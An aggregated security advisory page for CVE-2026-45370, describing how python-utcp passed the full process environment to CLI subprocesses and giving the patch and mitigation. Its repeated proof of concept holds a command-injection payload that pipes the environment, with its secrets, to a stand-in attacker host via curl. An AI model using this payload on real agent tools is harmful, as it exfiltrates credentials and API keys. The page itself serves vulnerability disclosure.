CVE-2026-45370
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
- Record
CVE-2026-45370- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-526
- Updated
- 2026-11-02
EUVDEUVD-2026-30477
7.7
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
- Record
EUVD-2026-30477- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5v57-8rxj-3p2r
7.7
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
Summary
_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
Vulnerable Code
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
env = os.environ.copy() # All secrets inherited
if provider.env_vars:
env.update(provider.env_vars)
return env
Impact
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens
Proof of Concept
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}
# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
Patched
Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:
null(default): a small built-in OS-specific allowlist (PATH,HOME,LANGon Unix;PATH,PATHEXT,SYSTEMROOT,USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.[]: strict mode -- nothing from the host environment reaches the subprocess; onlyenv_varsis propagated.["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).
env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.
Credit
Reported by @ZeroXJacks.
- Record
GHSA-5v57-8rxj-3p2r- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-526
- Updated
- 2026-11-02
NVD
7.7
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
- Record
CVE-2026-45370- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-526
- Updated
- 2026-11-02
OSVGHSA-5v57-8rxj-3p2r
7.7
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
Summary
_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
Vulnerable Code
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
env = os.environ.copy() # All secrets inherited
if provider.env_vars:
env.update(provider.env_vars)
return env
Impact
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens
Proof of Concept
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}
# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
Patched
Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:
null(default): a small built-in OS-specific allowlist (PATH,HOME,LANGon Unix;PATH,PATHEXT,SYSTEMROOT,USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.[]: strict mode -- nothing from the host environment reaches the subprocess; onlyenv_varsis propagated.["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).
env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.
Credit
Reported by @ZeroXJacks.
- Record
GHSA-5v57-8rxj-3p2r- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-526
- Updated
- 2026-11-02
OSVPYSEC-2026-3395
7.7
python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
Summary
_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
Vulnerable Code
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
env = os.environ.copy() # All secrets inherited
if provider.env_vars:
env.update(provider.env_vars)
return env
Impact
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens
Proof of Concept
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}
# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
Patched
Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:
null(default): a small built-in OS-specific allowlist (PATH,HOME,LANGon Unix;PATH,PATHEXT,SYSTEMROOT,USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.[]: strict mode -- nothing from the host environment reaches the subprocess; onlyenv_varsis propagated.["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).
env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.
Credit
Reported by @ZeroXJacks.
- Record
PYSEC-2026-3395- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45370 is a high vulnerability (CVSS 7.7) in Universal-tool-calling-protocol Python-utcp, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 13th percentile. Fixed in utcp-cli 1.1.2.